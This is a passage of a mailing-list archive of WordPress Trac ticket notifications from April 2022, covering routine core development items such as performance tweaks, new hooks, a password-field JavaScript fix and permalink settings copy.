🤦 Nevermind, I see.... I've refreshed the linked pull request against trunk and changed the variable name. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 01:42:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 01:42:28 -0000 Subject: [wp-trac] [WordPress Trac] #55069: Optimize fread() calls using file_get_contents() or stream_get_contents() In-Reply-To: <057.06ada43a9b113f0e9d889b20a09dea0b@wordpress.org> References: <057.06ada43a9b113f0e9d889b20a09dea0b@wordpress.org> Message-ID: <072.67ef957f4318ef1f918cfd84697d846c@wordpress.org> #55069: Optimize fread() calls using file_get_contents() or stream_get_contents() ---------------------------+----------------------------- Reporter: maxkellermann | Owner: SergeyBiryukov Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: performance ---------------------------+----------------------------- Comment (by peterwilsoncc): Given it's a microoptimisation, I'd rather avoid additional sniff suppression and maintain the `is_readable()`: * if the sniff is wrong/too strict that ought to be discussed * with recent PHP changes, avoiding the STHU operator seems wise If anything it's probably the methods being called that needs to change but that's a discussion for another ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55069#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 01:57:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 01:57:43 -0000 Subject: [wp-trac] [WordPress Trac] #54371: Add posts_results-like filters to WP_Query when return fields are ids or id=>parent In-Reply-To: <055.7b327cf3f971cd1bc82c01df4c95cce4@wordpress.org> References: <055.7b327cf3f971cd1bc82c01df4c95cce4@wordpress.org> Message-ID: <070.15a8649e7da208525dced525f0b9d9ca@wordpress.org> #54371: Add posts_results-like filters to WP_Query when return fields are ids or id=>parent -------------------------+----------------------------- Reporter: sc0ttkclark | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Query | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: -------------------------+----------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: I'm a little unsure about the different names too. I do agree that adding the filters does make sense. As the beta is due this week, I'll remove this off the milestone so the naming things discussion can continue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54371#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 02:06:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 02:06:51 -0000 Subject: [wp-trac] [WordPress Trac] #54370: Add an option to configure the site icon in general settings In-Reply-To: <055.7cf03f6b5a652bf12a9f2431bd601519@wordpress.org> References: <055.7cf03f6b5a652bf12a9f2431bd601519@wordpress.org> Message-ID: <070.026979bb8350faf3a6e71f3a047fffeb@wordpress.org> #54370: Add an option to configure the site icon in general settings -------------------------+-------------------------------- Reporter: jameskoster | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9 Severity: normal | Resolution: reported-upstream Keywords: needs-patch | Focuses: -------------------------+-------------------------------- Changes (by peterwilsoncc): * status: new => closed * resolution: => reported-upstream * milestone: 6.0 => Comment: The [https://github.com/WordPress/gutenberg/pull/35892 Gutenberg pull request] mentioned earlier in this discussion as an upstream fix has since been merged and is included in WP 5.9. The site editor links to the relevant page in the customizer to allow admins to set an icon. As this was reported upstream, I will close it as such. The issue referenced was https://github.com/WordPress/gutenberg/issues/30406 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54370#comment:34> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 02:08:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 02:08:12 -0000 Subject: [wp-trac] [WordPress Trac] #54356: Determine and apply best default quality settings for WebP images In-Reply-To: <059.160a1570e24152f1f8fd5791ebe4a16c@wordpress.org> References: <059.160a1570e24152f1f8fd5791ebe4a16c@wordpress.org> Message-ID: <074.5850083cece5cda814de722f72a4f6e2@wordpress.org> #54356: Determine and apply best default quality settings for WebP images -----------------------------+-------------------------- Reporter: adamsilverstein | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8 Severity: normal | Resolution: Keywords: needs-patch | Focuses: performance -----------------------------+-------------------------- Changes (by peterwilsoncc): * keywords: => needs-patch * focuses: => performance -- Ticket URL: <https://core.trac.wordpress.org/ticket/54356#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 03:02:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 03:02:17 -0000 Subject: [wp-trac] [WordPress Trac] #39636: Smilies not converted when directly followed by punctuation marks In-Reply-To: <053.d8e724c380ce128b2c2052290ced2151@wordpress.org> References: <053.d8e724c380ce128b2c2052290ced2151@wordpress.org> Message-ID: <068.2a8f234d078dcfaa40c8ecdadcc62039@wordpress.org> #39636: Smilies not converted when directly followed by punctuation marks -------------------------+----------------------------- Reporter: ourvalley | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Formatting | Version: 4.7.1 Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: -------------------------+----------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: As this lacks a patch and is need of a second opinion, I'll move it off the 6.0 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39636#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 03:05:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 03:05:13 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.ca0c4daa97dd7ce0a78dcc5958c96454@wordpress.org> #46057: Remove self-references ("we") in text in core -----------------------------------------+------------------------ Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch needs-copy-review | Focuses: ui-copy -----------------------------------------+------------------------ Changes (by peterwilsoncc): * keywords: has-patch => has-patch needs-copy-review Comment: Let's get a copy review on all these string changes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:05:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:05:24 -0000 Subject: [wp-trac] [WordPress Trac] #52086: user-profile.min.js issue on Firefox In-Reply-To: <052.d9ae12272953a126b412edfabb291a78@wordpress.org> References: <052.d9ae12272953a126b412edfabb291a78@wordpress.org> Message-ID: <067.2c1ea29302b1d6a2bacac3ffe4c9af3b@wordpress.org> #52086: user-profile.min.js issue on Firefox --------------------------+----------------------------------------- Reporter: adi64bit | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Users | Version: 5.6 Severity: critical | Resolution: Keywords: needs-patch | Focuses: javascript, administration --------------------------+----------------------------------------- Changes (by peterwilsoncc): * milestone: Future Release => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/52086#comment:40> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:23:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:23:21 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.b0c3016876ce8cbaac4606ecb2d41b98@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute good- | Focuses: first-bug | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * keywords: needs-patch title-attribute => needs-patch title-attribute good-first-bug -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:27:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:27:27 -0000 Subject: [wp-trac] [WordPress Trac] #52086: user-profile.min.js issue on Firefox In-Reply-To: <052.d9ae12272953a126b412edfabb291a78@wordpress.org> References: <052.d9ae12272953a126b412edfabb291a78@wordpress.org> Message-ID: <067.fff10048a650864b0de369f0cca35ad5@wordpress.org> #52086: user-profile.min.js issue on Firefox --------------------------+----------------------------------------- Reporter: adi64bit | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: 5.6 Severity: critical | Resolution: fixed Keywords: needs-patch | Focuses: javascript, administration --------------------------+----------------------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53122" 53122]: {{{ #!CommitTicketReference repository="" revision="53122" Upgrade/Install/Users: Prevent JS bug filling new passwords. A JavaScript race condition was throwing an error and preventing passwords from being set if the zxcvbn library loaded earlier than expected. This could prevent the installation of WordPress or the creation/updating of user accounts. Props adi64bit, afragen, agepcom, audrasjb, bedas, brookedot, cbigler, charlyox, costdev, desrosj, drago239, Eric3D, espiat, jadpm, jrf, justinahinon, kubiq, lkraav, michelangelovandam, mirkolofio, mkox, peterwilsoncc, poena, sbossarte, sebastienserre, SergeyBiryukov, Synchro, thomasplevy, walbo, waterfire, wpmakenorg. Fixes #53974, #52086. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/52086#comment:41> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:27:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:27:27 -0000 Subject: [wp-trac] [WordPress Trac] #53974: Repeat Password field missing during installation In-Reply-To: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> References: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> Message-ID: <065.e3d261c55493d0cd5f50d8119f6c3f42@wordpress.org> #53974: Repeat Password field missing during installation -----------------------------+----------------------------- Reporter: Eric3D | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ui, javascript -----------------------------+----------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53122" 53122]: {{{ #!CommitTicketReference repository="" revision="53122" Upgrade/Install/Users: Prevent JS bug filling new passwords. A JavaScript race condition was throwing an error and preventing passwords from being set if the zxcvbn library loaded earlier than expected. This could prevent the installation of WordPress or the creation/updating of user accounts. Props adi64bit, afragen, agepcom, audrasjb, bedas, brookedot, cbigler, charlyox, costdev, desrosj, drago239, Eric3D, espiat, jadpm, jrf, justinahinon, kubiq, lkraav, michelangelovandam, mirkolofio, mkox, peterwilsoncc, poena, sbossarte, sebastienserre, SergeyBiryukov, Synchro, thomasplevy, walbo, waterfire, wpmakenorg. Fixes #53974, #52086. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53974#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:35:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:35:53 -0000 Subject: [wp-trac] [WordPress Trac] #54955: Custom fields Issue In-Reply-To: <055.99232c703d311cadeed7eb51d4fb834f@wordpress.org> References: <055.99232c703d311cadeed7eb51d4fb834f@wordpress.org> Message-ID: <070.6bd73cb183449e46f145410997845149@wordpress.org> #54955: Custom fields Issue -------------------------------------+------------------------------------- Reporter: gadhiyaravi | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 5.9.1 Component: Editor | Version: 5.9 Severity: major | Resolution: fixed Keywords: has-patch commit fixed- | Focuses: ui, accessibility, major | javascript -------------------------------------+------------------------------------- Comment (by peterwilsoncc): In [changeset:"53123" 53123]: {{{ #!CommitTicketReference repository="" revision="53123" Administration: Remove term page check from `ajax-response.js`. Replace hard coded check for the term creation page in `_enqueues/lib /ajax-response.js` with a check for a notification to display in the AJAX response data. Follow up to [52170], [52672]. Props SergeyBiryukov, ryokuhi, johnregan3, sabernhardt, joedolson. Fixes #55078. See #54955. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54955#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:35:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:35:53 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.df50da247c4e67a4792410d589bb6afe@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js -------------------------------------+------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: accessibility, commit | javascript -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53123" 53123]: {{{ #!CommitTicketReference repository="" revision="53123" Administration: Remove term page check from `ajax-response.js`. Replace hard coded check for the term creation page in `_enqueues/lib /ajax-response.js` with a check for a notification to display in the AJAX response data. Follow up to [52170], [52672]. Props SergeyBiryukov, ryokuhi, johnregan3, sabernhardt, joedolson. Fixes #55078. See #54955. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:43:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:43:50 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.1bf9e2f04e95d1cf8380e098f98e6440@wordpress.org> #55463: Add a limit to _prime_*_cache functions ----------------------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Cache API | Version: Severity: normal | Resolution: Keywords: needs-patch good-first-bug | Focuses: performance ----------------------------------------+------------------------------ Changes (by elifvish): * Attachment "55463.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:45:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:45:01 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.f191089c905dd22764d4fe4f24fe063f@wordpress.org> #55463: Add a limit to _prime_*_cache functions --------------------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: performance --------------------------------------+------------------------------ Changes (by elifvish): * keywords: needs-patch good-first-bug => good-first-bug has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 04:49:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 04:49:45 -0000 Subject: [wp-trac] [WordPress Trac] #55316: Counter for total plugins is not updated after a plugin is deleted In-Reply-To: <050.1150621b36fd5ab38c23cf605c504dee@wordpress.org> References: <050.1150621b36fd5ab38c23cf605c504dee@wordpress.org> Message-ID: <065.3cbcd7f354ca8f3f07503654d6456fcb@wordpress.org> #55316: Counter for total plugins is not updated after a plugin is deleted -------------------------------------------------+------------------------- Reporter: mitogh | Owner: | peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Plugins | Version: Severity: normal | Resolution: fixed Keywords: needs-testing has-testing-info has- | Focuses: ui, patch | administration -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53124" 53124]: {{{ #!CommitTicketReference repository="" revision="53124" Plugins: Update item count when plugin deleted. Update the item count, "N items", on the plugin list when a plugin is deleted. This matches the live updating of various other counts on the screen. Props mitogh, costdev, azouamauriac, swissspidy, kebbet. Fixes #55316. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55316#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 05:01:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 05:01:20 -0000 Subject: [wp-trac] [WordPress Trac] #54703: Remove comment feed link if get_post_comments_feed_link() returns empty In-Reply-To: <055.48a2d3aa5fd769d9b992e03efd5e4a5e@wordpress.org> References: <055.48a2d3aa5fd769d9b992e03efd5e4a5e@wordpress.org> Message-ID: <070.7a1e44780f70fb856a0f7f2de0f79903@wordpress.org> #54703: Remove comment feed link if get_post_comments_feed_link() returns empty -------------------------------------------------+------------------------- Reporter: barryceelen | Owner: | peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Feeds | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing has-unit- | Focuses: template tests | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53125" 53125]: {{{ #!CommitTicketReference repository="" revision="53125" Feeds: Remove comment feed HTML headers when empty. Remove the `link[rel=alternate]` element from the HTML header when the comment feeds are disabled. Previously the HTML element was output with an empty `href` attribute. The element is removed if `get_post_comments_feed_link()` returns an empty string or the feed is disabled via the `feed_links_show_comments_feed` filter. Props barryceelen, audrasjb, costdev, rachelbaker, Boniu91. Fixes #54703. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54703#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 05:10:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 05:10:10 -0000 Subject: [wp-trac] [WordPress Trac] #53212: add post_type-specific version of the register_post_type_args filter In-Reply-To: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> References: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> Message-ID: <065.70ea3f78072f94b8fdfa9bff6b01b36c@wordpress.org> #53212: add post_type-specific version of the register_post_type_args filter -------------------------------------------------+------------------------- Reporter: pbiron | Owner: dlh Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: fixed Keywords: needs-dev-note needs-docs has-patch | Focuses: has-unit-tests | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53126" 53126]: {{{ #!CommitTicketReference repository="" revision="53126" Posts, Post Types/Taxonomies: Add object type specific registration filters. Add post type and taxonomy specific registration argument hooks. Introduces the filters `register_{$post_type}_post_type_args` and `register_{$taxonomy}_taxonomy_args`. Introduces the actions `registered_post_type_{$post_type}` and `registered_taxonomy_{$taxonomy}`. Props pbiron, dlh, davidbaumwald, hellofromTonya, milana_cap. Fixes #53212. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53212#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 05:14:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 05:14:58 -0000 Subject: [wp-trac] [WordPress Trac] #53141: Improve permalinks settings error messages In-Reply-To: <055.868fa2235b5616fd9dd891590b2b3d17@wordpress.org> References: <055.868fa2235b5616fd9dd891590b2b3d17@wordpress.org> Message-ID: <070.954e5d861d32148b766cc74f4ed6ba5e@wordpress.org> #53141: Improve permalinks settings error messages -------------------------------------+------------------------------------- Reporter: sabernhardt | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Permalinks | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-copy- | Focuses: administration, ui- review | copy -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53127" 53127]: {{{ #!CommitTicketReference repository="" revision="53127" Permalinks: Improve settings page error messages. Props sabernhardt. Fixes #53141. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53141#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 06:12:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 06:12:08 -0000 Subject: [wp-trac] [WordPress Trac] #16401: Add hook to delete_theme() on successful delete In-Reply-To: <057.cacb79fc73cd838bf3cd5654dc3ee2fd@wordpress.org> References: <057.cacb79fc73cd838bf3cd5654dc3ee2fd@wordpress.org> Message-ID: <072.20222abbf6f9d6d9a2e1c3be94215636@wordpress.org> #16401: Add hook to delete_theme() on successful delete ------------------------------------+---------------------- Reporter: scottconnerly | Owner: desrosj Type: enhancement | Status: closed Priority: normal | Milestone: 5.8 Component: Themes | Version: 2.8 Severity: normal | Resolution: fixed Keywords: has-patch has-dev-note | Focuses: ------------------------------------+---------------------- Changes (by sabernhardt): * keywords: has-patch commit needs-dev-note => has-patch has-dev-note Comment: Dev note: https://make.wordpress.org/core/2021/06/28/miscellaneous-developer- focused-changes-in-wordpress-5-8/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/16401#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 06:16:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 06:16:30 -0000 Subject: [wp-trac] [WordPress Trac] #37587: Inconsistency on deleting plugin/theme on WP 4.6 In-Reply-To: <054.2d55e7bd959a9b2ae7394adfa2c7cf77@wordpress.org> References: <054.2d55e7bd959a9b2ae7394adfa2c7cf77@wordpress.org> Message-ID: <069.af8154c6df69e229aa0785edc288d103@wordpress.org> #37587: Inconsistency on deleting plugin/theme on WP 4.6 -------------------------+----------------------------- Reporter: olarmarius | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: Themes | Version: 4.4 Severity: normal | Resolution: duplicate Keywords: | Focuses: administration -------------------------+----------------------------- Changes (by sabernhardt): * keywords: reporter-feedback => * status: new => closed * resolution: => duplicate Comment: Duplicate of #16401. Thanks for the ticket and the patch! The `delete_theme` and `deleted_theme` actions were added in r50826 (see ticket:16401). -- Ticket URL: <https://core.trac.wordpress.org/ticket/37587#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 06:16:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 06:16:48 -0000 Subject: [wp-trac] [WordPress Trac] #51861: Introduce "theme deleted" action In-Reply-To: <056.04f5603191699104acb2ada707031b7e@wordpress.org> References: <056.04f5603191699104acb2ada707031b7e@wordpress.org> Message-ID: <071.e6a26479dc6975980e8d4c19eaf0c2ed@wordpress.org> #51861: Introduce "theme deleted" action -----------------------------+-------------------------- Reporter: martin.krcho | Owner: (none) Type: feature request | Status: closed Priority: normal | Milestone: Component: Themes | Version: 5.5.3 Severity: minor | Resolution: duplicate Keywords: has-patch | Focuses: performance -----------------------------+-------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => duplicate * milestone: Awaiting Review => Comment: Duplicate of #16401. Thanks for the ticket and the patch! The `delete_theme` and `deleted_theme` actions were added in r50826 (see ticket:16401). -- Ticket URL: <https://core.trac.wordpress.org/ticket/51861#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 07:08:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 07:08:06 -0000 Subject: [wp-trac] [WordPress Trac] #55554: Block heading disappears when it's white color Message-ID: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> #55554: Block heading disappears when it's white color -------------------------------+----------------------------- Reporter: mehedi890 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: normal | Keywords: Focuses: ui, accessibility | -------------------------------+----------------------------- Block heading disappears when it's **white color** and gives a bad experience when I'm going to change `font-size` and I **can't see what size is it**. **Before changing color (Default Color)** [[Image(https://i.postimg.cc/FHdsSYnZ/default-heading-block.png)]] **After changing color to white** [[Image(https://i.postimg.cc/dQgqYs0Z/white-color-heading-block.png)]] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55554> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 07:38:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 07:38:17 -0000 Subject: [wp-trac] [WordPress Trac] #55498: Permalink Settings Page Accessibility Improve In-Reply-To: <053.06db99f017cbf7d27f8f904f21b948fd@wordpress.org> References: <053.06db99f017cbf7d27f8f904f21b948fd@wordpress.org> Message-ID: <068.078ea208b3b14ccac5d5f573a5a126cc@wordpress.org> #55498: Permalink Settings Page Accessibility Improve --------------------------+------------------------------------- Reporter: rishishah | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Permalinks | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility, ui-copy --------------------------+------------------------------------- Comment (by sabernhardt): I missed that the text field value is the permalink structure setting (and the radio buttons would need to continue editing that value on the change event). So the label should communicate that the structure can be customized, yet it is not always custom. "Customize permalink structure by selecting available tags" could fit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55498#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 07:55:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 07:55:08 -0000 Subject: [wp-trac] [WordPress Trac] #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made In-Reply-To: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> References: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> Message-ID: <067.2c3c03cad1437544384ef225ec4b5f46@wordpress.org> #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made --------------------------+------------------------------ Reporter: altfgcom | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.2 Severity: normal | Resolution: duplicate Keywords: close | Focuses: --------------------------+------------------------------ Changes (by azouamauriac): * keywords: => close Comment: Replying to [comment:4 altfgcom]: > The curious thing is, someone there seems to know what the cause is. > > Wondering why it hasn't been fixed yet (including yesterday's WP update). Only few people are accustomed to the component used at this part of the code, that's why it is hard to fix it. > Anyhow, thank you again. You're welcome. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55527#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 07:59:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 07:59:22 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.413a9e013dde6cde14e0d2e2f203c9bc@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------+----------------------------- Reporter: antonrinas | Owner: hellofromTonya Type: defect (bug) | Status: closed Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Comment (by azouamauriac): Replying to [comment:16 peterwilsoncc]: > Replying to [comment:15 azouamauriac]: > > I wonder to know if we can just put [https://prnt.sc/G4Vi8BZ6mbD- this] both "if" statement together... Any objection? > > The first if statement makes changes to the password variable that are used in the second statement. I considered asking for them to be combined but decided the code would be clearer keeping them separate. I'm still thinking these statements can be merged without make the code unreadable. Anyway let's move up. thank you. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 08:04:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 08:04:55 -0000 Subject: [wp-trac] [WordPress Trac] #55498: Permalink Settings Page Accessibility Improve 